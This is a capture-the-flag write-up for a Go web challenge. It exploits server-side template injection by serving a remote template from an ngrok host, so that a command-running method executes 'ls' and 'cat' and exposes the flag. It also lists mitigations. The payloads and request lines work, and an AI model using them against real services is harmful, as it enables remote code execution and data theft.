This is a fairly new challenge at the time of creating this write-up with only around 200 solves and no active write-ups.
The challenge starts of with a webpage that renders template (.tpl) files locally and remote.
Reconnaissance
We get the go source code, there are some attack vectors for SSRF and path traversal but nothing exploitable. We notice this code that seems to execute code from remote templates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
We also notice that there is a method that executes system commands.
1
2
3
4
5
6
7
func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
Foothold
We can create a template file that executes commands on the server by using go templating code.
To identify that the backend is using the Go template engine, you can utilize the following payloads:
{{ . }}
: Represents the data structure passed as input to the template.
- If the passed data is an object with an attribute, you can use
{{ .Attribute_name_here }}
to leak it.{{ printf "%s" "printing text" }}
: you can also call print or other methods.
In this case, we can call the method that allows us to execute commands on the server via {{.FetchServerInfo "command_here"}}
.
First, we need to create a template file that we will serve by setting up our server.
1
2
$ cat exploit.tpl
{{.FetchServerInfo "ls -lah"}}
We set up server in the directory where the template file is located.
1
$ python3 -m http.server 80
And set up ngrok
for outside access as we are not connected through a vpn.
1
$ Downloads/ngrok http 80
When sending a GET request to server this remote template file.
1
2
GET /render?use_remote=true&page=https://c608-2a02-a03f-e416-1500-b919-ee88-9220-9af4.ngrok-free.app/exploit.tpl HTTP/1.1
Host: 206.189.24.162:30304
We get back the server directory with the flag name.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
total 80K
drwxr-xr-x 1 root root 4.0K Sep 27 14:40 .
drwxr-xr-x 1 root root 4.0K Sep 27 14:40 ..
drwxr-xr-x 1 root root 4.0K Sep 12 08:53 app
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 bin
drwxr-xr-x 5 root root 360 Sep 27 14:40 dev
-rw------- 1 root root 216 Sep 12 08:50 entrypoint.sh
drwxr-xr-x 1 root root 4.0K Sep 27 14:40 etc
-rw-r--r-- 1 root root 40 Sep 12 08:50 flag5e**XXXX**f2a.txt
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 home
drwxr-xr-x 1 root root 4.0K Aug 7 13:09 lib
drwxr-xr-x 5 root root 4.0K Aug 7 13:09 media
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 mnt
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 opt
dr-xr-xr-x 284 root root 0 Sep 27 14:40 proc
drwx------ 1 root root 4.0K Sep 12 08:52 root
drwxr-xr-x 1 root root 4.0K Sep 27 14:40 run
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 sbin
drwxr-xr-x 2 root root 4.0K Sep 12 08:52 src
drwxr-xr-x 2 root root 4.0K Aug 7 13:09 srv
dr-xr-xr-x 13 root root 0 Sep 27 14:40 sys
drwxrwxrwt 1 root root 4.0K Sep 27 14:40 tmp
drwxr-xr-x 1 root root 4.0K Sep 12 08:52 usr
drwxr-xr-x 12 root root 4.0K Aug 7 13:09 var
We can now send a request to read the flag content via {{.FetchServerInfo "cat /flag5e**XXXX**f2a.txt"}}
.
1
2
{{.FetchServerInfo "cat /flag5e**XXXX**f2a.txt"}}
GET /render?use_remote=true&page=https://c608-2a02-a03f-e416-1500-b919-ee88-9220-9af4.ngrok-free.app/read_flag.tpl HTTP/1.1
We get the flag as response.
1
HTB{qu35t_**REDACTED**_t3mpl4t35!!}
Mitigations
Secure Execution of System Commands
Avoid using shell commands directly and instead, use functions that handle command execution securely.
Limit Remote Template Execution
Restrict the execution of remote templates to trusted and predefined sources. Implement an allowlist of allowed sources for remote templates to minimize the risk of malicious code injection.
Isolate the Execution Environment:
Run the application in a sandboxed environment to limit the potential damage of any successful attacks.